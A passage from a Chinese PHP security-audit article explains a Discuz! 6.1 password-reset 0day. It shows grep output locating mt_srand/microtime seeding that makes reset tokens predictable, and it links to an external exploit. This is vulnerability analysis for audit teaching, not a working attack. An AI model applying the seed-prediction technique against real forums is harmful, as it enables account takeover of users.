  • 有條件或者機會和開發者學習,找到他們實現某些經常使用功能的代碼的缺陷或者容易忽視的問題
  • 你有什麼要補充的嗎? :)

DEMO

DEMO -- Discuz! Reset User Password 0day Vulnerability 分析 (Exp:http://sebug.net/vuldb/ssvid-17519

PHP版本要求:php4 php5<5.2.6
系統要求: 無
審計策略:查找mt_srand/mt_rand

第一步 安裝Discuz! 6.1後利用grep查找mt_srand獲得:

  1. heige@heige-desktop:~/dz6/upload$ grep -in 'mt_srand' -r ./ --colour -5
  2. ./include/global.func.php-694- $GLOBALS['rewritecompatible'] && $name = rawurlencode($name);
  3. ./include/global.func.php-695- return '<a href="tag-'.$name.'.html"'.stripslashes($extra).'>';
  4. ./include/global.func.php-696-}
  5. ./include/global.func.php-697-
  6. ./include/global.func.php-698-function random($length, $numeric = 0) {
  7. ./include/global.func.php:699: PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
  8. ./include/global.func.php-700- if($numeric) {
  9. ./include/global.func.php-701- $hash = sprintf('%0'.$length.'d', mt_rand(0, pow(10, $length) - 1));
  10. ./include/global.func.php-702- } else {
  11. ./include/global.func.php-703- $hash = '';
  12. ./include/global.func.php-704- $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
  13. --
  14. ./include/discuzcode.func.php-30-
  15. ./include/discuzcode.func.php-31-if(!isset($_DCACHE['bbcodes']) || !is_array($_DCACHE['bbcodes']) || !is_array($_DCACHE['smilies'])) {
  16. ./include/discuzcode.func.php-32- @include DISCUZ_ROOT.'./forumdata/cache/cache_bbcodes.php';
  17. ./include/discuzcode.func.php-33-}
  18. ./include/discuzcode.func.php-34-
  19. ./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);
  20. ./include/discuzcode.func.php-36-
  21. ./include/discuzcode.func.php-37-function attachtag($pid, $aid, &$postlist) {
  22. ./include/discuzcode.func.php-38- global $attachrefcheck, $thumbstatus, $extcredits, $creditstrans, $ftp, $exthtml;
  23. ./include/discuzcode.func.php-39- $attach = $postlist[$pid]['attachments'][$aid];
  24. ./include/discuzcode.func.php-40- if($attach['attachimg']) {

有兩個文件用到了mt_srand(),第1是在./include/global.func.php的隨機函數random()裏:

PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);

判斷了版本,若是是PHP_VERSION > '4.2.0'使用php自己默認的播種。從上一章裏的分析咱們能夠看得出來,使用php自己默認的播種的分程序兩種狀況:

1) 'Cross Application Attacks' 這個思路是隻要目標上有使用使用的程序裏定義了相似mt_srand((double)microtime() * 1000000)的播種的話,又頗有可能被暴力。在dz這裏不須要Cross Application,由於他自己有文件就定義了,就是上面的第2個文件:

./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);

這裏咱們確定dz是存在這個漏洞的,文章給出來的exp也就是基於這個的。(具體exp利用的流程有興趣的能夠本身分析下])

2) 有的人認爲若是沒有mt_srand((double)microtime() * 1000000);這裏的定義,那麼dz就不存在漏洞,這個是不正確的。首先你不能夠保證別人使用的其餘應用程序沒有定義,再次不利用'Cross Application Attacks',5.2.6>php>4.2.0 php自己默認播種的算法也不是很強悍(分析詳見上),也是有能夠暴力出來,只是速度要慢一點。

後話

本文是80vul的三大馬甲:80vul-A80vul-B80vul-C集 體智慧的結晶,尤爲是80vul-B貢獻了很多新發現。另外須要感謝的是文章裏提到的那些漏洞的發現者,沒有他們的成果也就沒有本文。本文沒有寫「參 考」,由於本文是一個總結性的文擋,有太多的鏈接須要提供限於篇幅就沒有一一列舉,有心的讀者能夠自行google。另外本來沒有打算公佈此文,由於裏面 包含了太多應用程序的0day,並且有太多的不尊重別人成果的人,總是利用從別人那學到的技術來炫耀,甚至牟取利益。在這裏咱們但願你能夠在本文裏學到些 東西,更加但願若是經過本文你找到了某些應用程序的0day,請低調處理,或者直接提交給官方修補,謝謝你們!!

by http://80vul.com

附錄

相關文章
相關標籤/搜索